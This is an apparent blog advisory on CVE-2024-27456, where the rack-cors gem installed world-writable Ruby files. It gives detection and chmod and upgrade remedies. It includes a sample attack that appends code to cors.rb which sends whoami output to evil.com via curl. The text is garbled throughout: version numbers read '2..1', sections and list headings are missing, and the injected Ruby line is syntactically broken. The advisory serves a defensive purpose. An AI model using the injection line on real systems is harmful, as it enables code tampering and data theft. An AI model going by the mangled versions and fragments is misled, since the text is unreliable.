In February 2024, a new vulnerability—CVE-2024-27456—was published affecting the popular rack-cors middleware used in many Ruby and Rails web applications. This bug isn’t about fancy hacking tricks or deep logic flaws. Instead, it’s a simple but dangerous file permissions issue: all Ruby (.rb) files installed with version 2..1 of rack-cors are world-readable and world-writable (0666 permissions).

This post breaks down what that means, shows how attackers could use it, and gives you actionable advice.

What Is rack-cors?

If you’ve ever built a Ruby web app that needed to let browsers on other domains load resources, you’ve probably used rack-cors. It’s a “middleware” (an add-on component) that lets you configure Cross-Origin Resource Sharing—a way for web servers to say, “Yes, JavaScript from that website can fetch data from me.”

rack-cors is used in thousands of Rails apps and is widely installed as a gem.

What Happened?

When version 2..1 of rack-cors was published, all its .rb files (the Ruby source code) were installed with 0666 permissions:

Others: read & write

This means *any user on the system can modify these files.* That’s a serious problem, especially on servers or in shared hosting setups.

Quick Example

Let’s see what this looks like. Run this command in your bundle directory if you’re using the vulnerable gem:

ls -l $(bundle show rack-cors)

You’ll see output like

-rw-rw-rw- 1 deploy deploy  2097 Feb 20 12:00 cors.rb
-rw-rw-rw- 1 deploy deploy  3132 Feb 20 12:00 rack/cors.rb
-rw-rw-rw- 1 deploy deploy   153 Feb 20 12:00 rack/cors/version.rb

Escalate Privileges

- If your Ruby process has higher permissions (e.g., web server user vs. low-priv user), code injection can be used to hop users or escalate privileges.

Let’s say an attacker with a low-privileged shell account on your server runs this

echo "puts 'HACKED'; system('curl http://evil.com/?whoami=$(whoami)';)" >> /path/to/gems/rack-cors-2..1/lib/rack/cors.rb

Next time your app or console loads, the attacker’s code runs.

How Did It Happen?

This bug is an “oops” in packaging. The gemspec or file copying steps did not set the correct permissions. By default, many Unix commands copy with source permissions, so careless packaging can easily smear too-loose permissions onto gem files.

You installed rack-cors version 2..1 (released in February 2024)

- Your deploy or runtime environments are multi-user (shared servers, CI/CD with multiple jobs/users, etc)

Check your version

bundle list | grep rack-cors

Official References

- NVD CVE-2024-27456
- GitHub Advisory GHSA-xj38-vrpx-3x63
- rack-cors issue tracker #308

1. Upgrade Immediately

A patched version (2..2 or later) sets permissions correctly.

Change your Gemfile

gem 'rack-cors', '>= 2..2'

And run

bundle update rack-cors

If you can't upgrade instantly, correct them yourself

chmod 644 $(bundle show rack-cors)/**/*.rb

Or, if your OS supports, use find

find $(bundle show rack-cors) -name "*.rb" -exec chmod 644 {} \;

Final Thoughts & Summary

CVE-2024-27456 shows that even small oversights—like wrong file permissions—can open the door to big attacks, especially in environments with multiple users. Always check your gems’ security advisories, use the minimum needed privileges for your deployment users, and enforce correct permissions on all your libraries.

Protect your apps. Stay informed.

*Written exclusively for you. If you found this useful, please share it with your devops or Ruby teams. For more info, check the official GitHub advisory.*

Timeline

Published on: 02/26/2024 16:28:00 UTC
Last modified on: 08/02/2024 19:35:26 UTC